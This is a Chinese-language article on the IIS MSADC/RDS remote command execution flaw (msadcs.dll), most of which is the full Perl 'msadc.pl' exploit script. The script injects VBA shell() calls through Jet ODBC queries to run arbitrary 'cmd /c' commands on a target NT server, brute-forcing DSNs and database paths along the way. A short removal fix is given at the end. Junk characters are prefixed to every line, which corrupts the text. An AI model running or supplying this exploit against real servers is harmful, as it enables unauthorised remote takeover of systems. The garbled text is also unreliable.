IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
]{tnNr>mv 94 2(a 涉及程序：
xwSi}. Microsoft NT server
+ -[M 7J $UgQ1Qc 描述：
2(_+PQ6C= 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
b< ]--\ ^|h5*Tb 详细：
F*&A=@/3 如果你没有时间读详细内容的话，就删除:
XiP xg[; c:\Program Files\Common Files\System\Msadc\msadcs.dll
]h]| PdN 有关的安全问题就没有了。
fSe$w#*I /}%$fB 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
!/1aot^( DK!QGATh 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
j3<|X 关于利用ODBC远程漏洞的描述，请参看:
(}$ pf6s ;0)|c}n+.5 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm }N^A
(`L Idy{( Q 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
R`)^ eqB http://www.microsoft.com/security/bulletins/MS99-025faq.asp PEKU ^qn,b/>L 这里不再论述。
iL^bf* B@v\t pR 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
{'.[N79xP k!{0ku}] /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
= F!_ivV 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
x,f=J4yco =dVPx<l5 <!+T#)Qi #将下面这段保存为txt文件，然后: "perl -x 文件名"
03 ] ){XaO;k< ] #!perl
zv1#PfO@) #
5PaOa8=2f # MSADC/RDS 'usage' (aka exploit) script
`y1ne x-0 #
jFa{h! # by rain.forest.puppy
'<Nhq_u{ #
T FIP>$*_C # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
yvPcD5s5 # beta test and find errors!
4
_*^~w !B&OK&* use Socket; use Getopt::Std;
M
Y2=lT getopts("e:vd:h:XR", \%args);
h92'~X3 6 ;IN!H@bq print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
#84<aM F&ud|X=m if (!defined $args{h} && !defined $args{R}) {
-r.Qy(}p print qq~
.7h:/d
Y: Usage: msadc.pl -h <host> { -d <delay> -X -v }
&#k eI., -h <host> = host you want to scan (ip or domain)
j|Q*L<J
-d <seconds> = delay between calls, default 1 second
aFC ma2 -X = dump Index Server path table, if available
@X _<y -v = verbose
x WZ87 -e = external dictionary file for step 5
&, =Z q<5AB{Oj? Or a -R will resume a command session
nnv& ~C k9V#=,K0 ~; exit;}
K,ccM[hu| 8'niew
5d $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Ia> 07av if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
b7thu5 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
|OgtAI9 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
K
*<+K<Tp $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
*,h g+?lZ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
`R9} .?7 scXY~l]I* if (!defined $args{R}){ $ret = &has_msadc;
TS gfIE| die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
<BUKTRq td}%reH print "Please type the NT commandline you want to run (cmd /c assumed):\n"
#@ quuiYq . "cmd /c ";
w1#1s| $in=<STDIN>; chomp $in;
[iT*L) R4 $command="cmd /c " . $in ;
m$ubxI) !Zr 9t|_ if (defined $args{R}) {&load; exit;}
@ X$~{Vp__ DdI
V~CxD print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
J )*7JX &try_btcustmr;
E41ay:duAl )~u<u:N print "\nStep 2: Trying to make our own DSN...";
RotWMGNK &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
/Dmuvb|A lk<}`#( g print "\nStep 3: Trying known DSNs...";
W7\s=t\ &known_dsn;
ji8)/ T>$S&U print "\nStep 4: Trying known .mdbs...";
^ UB *Q &known_mdb;
ZxDh94w/ B7y^ )/ if (defined $args{e}){
oqXs2F print "\nStep 5: Trying dictionary of DSN names...";
< WWn1k_ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
[E dX6 aMLtZ7 i> print "Sorry Charley...maybe next time?\n";
Vr|sRvz exit;
l i4"|T& 1@$n )r` ##############################################################################
AW6 "1(D L}*s_'_e^> sub sendraw { # ripped and modded from whisker
Cyn_ UE sleep($delay); # it's a DoS on the server! At least on mine...
@ 4ccZ&` my ($pstr)=@_;
B 1u.aa$ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
x_X%| f die("Socket problems\n");
.%\lYk] if(connect(S,pack "SnA4x8",2,80,$target)){
rV5QKz6' select(S); $|=1;
gwAZ 2w print $pstr; my @in=<S>;
[M;B
9-2$ select(STDOUT); close(S);
PQ}owEJ2eM return @in;
eG\|E3 Cb9 } else { die("Can't connect...\n"); }}
OY bgt4 h)~i ?bq!/ ##############################################################################
H
N )@sLPc eHIsTL@Fp sub make_header { # make the HTTP request
<k c9KE my $msadc=<<EOT
+nOa&d\ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
bb@3%r|_< User-Agent: ACTIVEDATA
[k<w'n* Host: $ip
JSCZX:5 Content-Length: $clen
;7
F'xz" Connection: Keep-Alive
Klv~#9Si (mR ;MC ADCClientVersion:01.06
}O7!>T Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
pS) &d4i ]b&"](A --!ADM!ROX!YOUR!WORLD!
#rps2nf.j Content-Type: application/x-varg
v } >5!* Content-Length: $reqlen
0v "h / [VL+X^ EOT
5GHW~q!Zo\ ; $msadc=~s/\n/\r\n/g;
FN>ns, return $msadc;}
V 5 K+F]a]kld ##############################################################################
ywCF{rRd LQr+)wI sub make_req { # make the RDS request
)W0zu\fL = my ($switch, $p1, $p2)=@_;
=KCAHNr4? my $req=""; my $t1, $t2, $query, $dsn;
xO` `X < asLvJ{d8s if ($switch==1){ # this is the btcustmr.mdb query
Iu=n $H $query="Select * from Customers where City=" . make_shell();
FL8?<bU $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
] K^#'[ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
?T ( @< T &4
~C %{H3 elsif ($switch==2){ # this is general make table query
$={^':Uh $query="create table AZZ (B int, C varchar(10))";
v;_k*y[VV$ $dsn="$p1";}
w~lxWgaY7 BQ
/0 z^A elsif ($switch==3){ # this is general exploit table query
$!m (S&f $query="select * from AZZ where C=" . make_shell();
wpW3%r;9 $dsn="$p1";}
IMF9eS{L 'xn3g ;5 elsif ($switch==4){ # attempt to hork file info from index server
kbR!iPM-; $query="select path from scope()";
8
FJ>W. $dsn="Provider=MSIDXS;";}
O"c@x:i -h|YS/$f elsif ($switch==5){ # bad query
;v=v4f'+ $query="select";
:OFL@byS $dsn="$p1";}
K3xs=q]:@ ?_<14%r; $t1= make_unicode($query);
~ V:@4P $t2= make_unicode($dsn);
u@ psVt $req = "\x02\x00\x03\x00";
s${|A = $req.= "\x08\x00" . pack ("S1", length($t1));
Scfk] DT $req.= "\x00\x00" . $t1 ;
6Y 4I $[ $req.= "\x08\x00" . pack ("S1", length($t2));
rT}k[ $req.= "\x00\x00" . $t2 ;
@x4IxGlUs $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
D?Y j5eOa return $req;}
A]WR- 0Z7 ;H%T5$:trP ##############################################################################
z~ R: !O- :Dn{ sub make_shell { # this makes the shell() statement
Pd^v - }[ return "'|shell(\"$command\")|'";}
$SAk | B?|url6h ##############################################################################
~ 6`Ha@ THXG~3J< sub make_unicode { # quick little function to convert to unicode
E5EAk6 my ($in)=@_; my $out;
q n2X. _` for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
^CtA@4 return $out;}
uz8Y)b 1|8<!Hx#- ##############################################################################
|mO4+:-~D+ >kN%R8*Sx
sub rdo_success { # checks for RDO return success (this is kludge)
6Pzz= ai< my (@in) = @_; my $base=content_start(@in);
q, ->E<8 if($in[$base]=~/multipart\/mixed/){
9bVPMq7}i return 1 if( $in[$base+10]=~/^\x09\x00/ );}
U $+G9 return 0;}
Jd0I!L MRn;D|Q ##############################################################################
D3MRRv# }0(.HMiGj sub make_dsn { # this makes a DSN for us
h,u?3}Knnb my @drives=("c","d","e","f");
zwEZ?m! print "\nMaking DSN: ";
+_E\Omcw foreach $drive (@drives) {
}-8ZSWog6f print "$drive: ";
WXgGB[x my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
{YoK63b$ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
q=+AN</ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
\as^z!< $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
'G J'Vli return 0 if $2 eq "404"; # not found/doesn't exist
pk&;5|cCD if($2 eq "200") {
i[\`]C{gf foreach $line (@results) {
DGY?4r7>y return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
S.$/uDwo } return 0;}
P+j5_ V{\b q4wS<, 3 ##############################################################################
XzH"dDAVE LE1#pB3TG sub verify_exists {
F]4JemSjK my ($page)=@_;
QT\=>,Fz _ my @results=sendraw("GET $page HTTP/1.0\n\n");
u+
?Wm40E return $results[0];}
kbHf dA JJ=%\j ##############################################################################
7B"*< %< $Z2Y% z6y sub try_btcustmr {
4{Q{>S*h my @drives=("c","d","e","f");
UW?(-_8 my @dirs=("winnt","winnt35","winnt351","win","windows");
=Co[pt q0a8=o"| foreach $dir (@dirs) {
I\FBf&~ print "$dir -> "; # fun status so you can see progress
0K *|B.O foreach $drive (@drives) {
0qPbmLMK print "$drive: "; # ditto
:Q@qR((&o $reqlen=length( make_req(1,$drive,$dir) ) - 28;
)>X
C_ R $reqlenlen=length( "$reqlen" );
r`8>@2sW1 $clen= 206 + $reqlenlen + $reqlen;
w$2Z7S ET[vJnReC my @results=sendraw(make_header() . make_req(1,$drive,$dir));
8:=EA3 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
h fBZ:es+ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
NUvHY: *Mg. * N ##############################################################################
[Jjb<6[o
;94e sub odbc_error {
)A 6 eD my (@in)=@_; my $base;
|8:IH@K* my $base = content_start(@in);
@VVDN
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
QwaAGUA $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
;vDj d2 @ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
i4XE26B;e $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
4EZl
(v"f` return $in[$base+4].$in[$base+5].$in[$base+6];}
^G~C#t^ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
A/%+AH( print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
VYj*LiR $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
K\ 2UwX tU :,s^E"# ##############################################################################
PU\?eA (r ]3tGp sub verbose {
y`n'>F 11 my ($in)=@_;
pg4J)<t# return if !$verbose;
*NE A(9 print STDOUT "\n$in\n";}
I5$ @1+B a0]n>C`~ ##############################################################################
@0 mR_ \u\ c2aW4 TX2 sub save {
.-[d6Pnw my ($p1, $p2, $p3, $p4)=@_;
ha%3%O8Z open(OUT, ">rds.save") || print "Problem saving parameters...\n";
mK>c+ u) print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
_?+gfi+ close OUT;}
4 )U,A~ ! 0bt"U=x4 ##############################################################################
Y\sSW0ZX mg )Zo C sub load {
%v_w"2x; my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
!&ly :v! open(IN,"<rds.save") || die("Couldn't open rds.save\n");
= DT7]fU @p=<IN>; close(IN);
+$b_,s $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
wP < ) $target= inet_aton($ip) || die("inet_aton problems");
]0+ 5@c print "Resuming to $ip ...";
EC]b]'._ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
#:5vN-9? if($p[1]==1) {
lg(*:To3B $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
.YT&V $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
O'OVj my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
*_a eK~du. if (rdo_success(@results)){print "Success!\n";}
V\ 7O) g else { print "failed\n"; verbose(odbc_error(@results));}}
C]xKdP Qj% elsif ($p[1]==3){
ZMI!Sl if(run_query("$p[3]")){
9AxeA2/X print "Success!\n";} else { print "failed\n"; }}
KqE5{ q elsif ($p[1]==4){
BJ]4j-^o if(run_query($drvst . "$p[3]")){
:JEzfI1 print "Success!\n"; } else { print "failed\n"; }}
b&i0)/; exit;}
nVp*u9] ' )8c ##############################################################################
i r-= @ @ Rqk;!N sub create_table {
i s2OJ, my ($in)=@_;
n&51_.@Q $reqlen=length( make_req(2,$in,"") ) - 28;
4Hk eXS. $reqlenlen=length( "$reqlen" );
<yxEGjm $clen= 206 + $reqlenlen + $reqlen;
=xa:>Vh# my @results=sendraw(make_header() . make_req(2,$in,""));
qNH=
W?T8. return 1 if rdo_success(@results);
!D_Qat my $temp= odbc_error(@results); verbose($temp);
C|@6rr9TA return 1 if $temp=~/Table 'AZZ' already exists/;
^x:%_ yG Y return 0;}
]4$t'wI. 2}ttC m ##############################################################################
4^K eA". bw@"MF{ sub known_dsn {
?(up!3S'x # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
";& 5@H| my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
w=]bj0<A= "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
c']3N "banner", "banners", "ads", "ADCDemo", "ADCTest");
zB8 @Wl d^0v aX6e} foreach $dSn (@dsns) {
jlf.~ vt print ".";
B `` ) next if (!is_access("DSN=$dSn"));
#`1@4,iC if(create_table("DSN=$dSn")){
E&} @P0^ print "$dSn successful\n";
2]$
7 if(run_query("DSN=$dSn")){
(zVT{!z print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
.+;;-]}) print "Something's borked. Use verbose next time\n";}}} print "\n";}
xXCSaBS~ ?l6NQ;z ##############################################################################
vS!%!-F ? !h
jI;_& sub is_access {
th$?#4SbR my ($in)=@_;
baD`k?]( $reqlen=length( make_req(5,$in,"") ) - 28;
3C+!Y#F $reqlenlen=length( "$reqlen" );
{z4v_[-2CF $clen= 206 + $reqlenlen + $reqlen;
yo#aX^v~y my @results=sendraw(make_header() . make_req(5,$in,""));
rv75R}.6R^ my $temp= odbc_error(@results);
6
J&_H(^ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
^""Ss return 0;}
r+4<Lon~ $P9'"a)Lm ##############################################################################
D*Cn!v$ _y,? Cj=u| sub run_query {
8f\sG:$ my ($in)=@_;
deRnP$u0 $reqlen=length( make_req(3,$in,"") ) - 28;
@w%{yzr% $reqlenlen=length( "$reqlen" );
b,Z\{M:f;F $clen= 206 + $reqlenlen + $reqlen;
=B0#z]qu my @results=sendraw(make_header() . make_req(3,$in,""));
Gu3# y"a> return 1 if rdo_success(@results);
&YSjw Rr
my $temp= odbc_error(@results); verbose($temp);
d" .Xp4}f return 0;}
gPo3jw o$ |#y+iXTJ ##############################################################################
7j9X<8 * _'W en sub known_mdb {
J% Cn my @drives=("c","d","e","f","g");
l7+[Zn/v * my @dirs=("winnt","winnt35","winnt351","win","windows");
nB; yS< my $dir, $drive, $mdb;
j 4!g&F _y my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
l,I[r$TCf 8&g`Uy/b # this is sparse, because I don't know of many
lg9`Z>? my @sysmdbs=( "\\catroot\\icatalog.mdb",
6X2~30pdE "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
5IwQ <V "\\system32\\certmdb.mdb",
WOv m%sX "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
)IFzal}o 8P kw '.r my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
$KmhG1*s "\\cfusion\\cfapps\\forums\\forums_.mdb",
Y(qyuS3h~* "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
sX8?U,u "\\cfusion\\cfapps\\security\\realm_.mdb",
ai3wSUYJi "\\cfusion\\cfapps\\security\\data\\realm.mdb",
i9QL}d "\\cfusion\\database\\cfexamples.mdb",
5Tl3k=o} "\\cfusion\\database\\cfsnippets.mdb",
2feiD?0 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
3M?vK(zG>P "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
u _;&+o2 "\\cfusion\\brighttiger\\database\\cleam.mdb",
LD.^.4{c: "\\cfusion\\database\\smpolicy.mdb",
[m}58?0~x "\\cfusion\\database\cypress.mdb",
%, U@ D4w "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
55mDLiA "\\website\\cgi-win\\dbsample.mdb",
l"C)Ia&/ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
m(B,a,g< "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
F$| Ec9 ); #these are just
eJ=K* t| foreach $drive (@drives) {
/^m3?q[a foreach $dir (@dirs){
n1"QHA foreach $mdb (@sysmdbs) {
[K*>W[n print ".";
`4@_Y< if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
i*T>, z print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
THFzC/~ Q if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
QJsud{ada print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
g9rsw7 } else { print "Something's borked. Use verbose next time\n"; }}}}}
BEm~o#D RPXkf71iM foreach $drive (@drives) {
q h+c}"4m foreach $mdb (@mdbs) {
gz,x6mnQ print ".";
~> xVhd if(create_table($drv . $drive . $dir . $mdb)){
=:4vRq
[ print "\n" . $drive . $dir . $mdb . " successful\n";
jkN-( v(T if(run_query($drv . $drive . $dir . $mdb)){
+Kw&XRA d print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
kVH^(Pi } else { print "Something's borked. Use verbose next time\n"; }}}}
r"%uP [H }
UP8=V>T02 5D~>Ed; ##############################################################################
M FHc>O
DA A.5N<$l sub hork_idx {
w
b@Zna print "\nAttempting to dump Index Server tables...\n";
Sh]g]x R print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
A `H&" A $reqlen=length( make_req(4,"","") ) - 28;
>z, SN $reqlenlen=length( "$reqlen" );
6F@2:]W $clen= 206 + $reqlenlen + $reqlen;
{m<NPtp910 my @results=sendraw2(make_header() . make_req(4,"",""));
jn+M L& if (rdo_success(@results)){
U#7moS' r my $max=@results; my $c; my %d;
hDP &~Mk for($c=19; $c<$max; $c++){
e%B ;8 )7 $results[$c]=~s/\x00//g;
~ &UfnO $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
tW=,o&C= $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
+Vf39}8 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
_:0)uR LS $d{"$1$2"}="";}
_w'N&# foreach $c (keys %d){ print "$c\n"; }
kY$vPHZpN } else {print "Index server doesn't seem to be installed.\n"; }}
&ND8^lR=Y; p5`d@y\hj ##############################################################################
g4`)n` <+/:}S4w) sub dsn_dict {
/.Fvl;!J; open(IN, "<$args{e}") || die("Can't open external dictionary\n");
,pg\5b while(<IN>){
$PNS`@B $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
DNh{J^S"}w next if (!is_access("DSN=$dSn"));
]Zj 6W9] m if(create_table("DSN=$dSn")){
W,g0n=2 V print "$dSn successful\n";
HZG<aY=" if(run_query("DSN=$dSn")){
.t7mTpi print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
!Q0aKkMfL print "Something's borked. Use verbose next time\n";}}}
=$^<@- ; print "\n"; close(IN);}
LHS^[}x^1 6{ qI ##############################################################################
xpzQ"'be Hy_}e" sub sendraw2 { # ripped and modded from whisker
2". ^Ma^D! sleep($delay); # it's a DoS on the server! At least on mine...
clc j5=: my ($pstr)=@_;
4)IRm2G socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
%" 1*,g{ die("Socket problems\n");
MmvMuX]#) if(connect(S,pack "SnA4x8",2,80,$target)){
(16U]s print "Connected. Getting data";
?9?eA^X% open(OUT,">raw.out"); my @in;
6?CBa]QG select(S); $|=1; print $pstr;
jDaWmy<ha while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
m V U(b, close(OUT); select(STDOUT); close(S); return @in;
0D\b;ju< } else { die("Can't connect...\n"); }}
l$:.bwX XO h
/. ^iT ##############################################################################
B!#F!Wk" X`,]@c%C` sub content_start { # this will take in the server headers
i;yr=S,a0/ my (@in)=@_; my $c;
"(U%Vg|) for ($c=1;$c<500;$c++) {
!aVwmd'9 if($in[$c] =~/^\x0d\x0a/){
i l)LkZ@ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
.\W6XRw else { return $c+1; }}}
~I+}u]J return -1;} # it should never get here actually
#]BpTpRAe<
?]d [K>bv ##############################################################################
f\Fk+) e@ +&T;jad2 sub funky {
: N3'$M" my (@in)=@_; my $error=odbc_error(@in);
bc ".R] if($error=~/ADO could not find the specified provider/){
-quWnn/ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
\w]c<gM K exit;}
'+
8.nN if($error=~/A Handler is required/){
p
PF]&:&-b print "\nServer has custom handler filters (they most likely are patched)\n";
mp{r$tc exit;}
Ww
} qK|D if($error=~/specified Handler has denied Access/){
\[-z4Fxg|' print "\nServer has custom handler filters (they most likely are patched)\n";
LEUD6 M+~t exit;}}
`wyX)6A|bt =t+{ )d.w ##############################################################################
JE`mB}8s/ CkJU5 D sub has_msadc {
${/"u3a_ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
T%Vg0Y)P; my $base=content_start(@results);
Od> ^yhn return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
bwo{
Lw~ return 0;}
6Wos6_ \n @S.Y?P ########################
()E:gq Q
X@ljZ ;T|y^D 解决方案：
l*+"0 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
9}4EW4
2、移除web 目录: /msadc
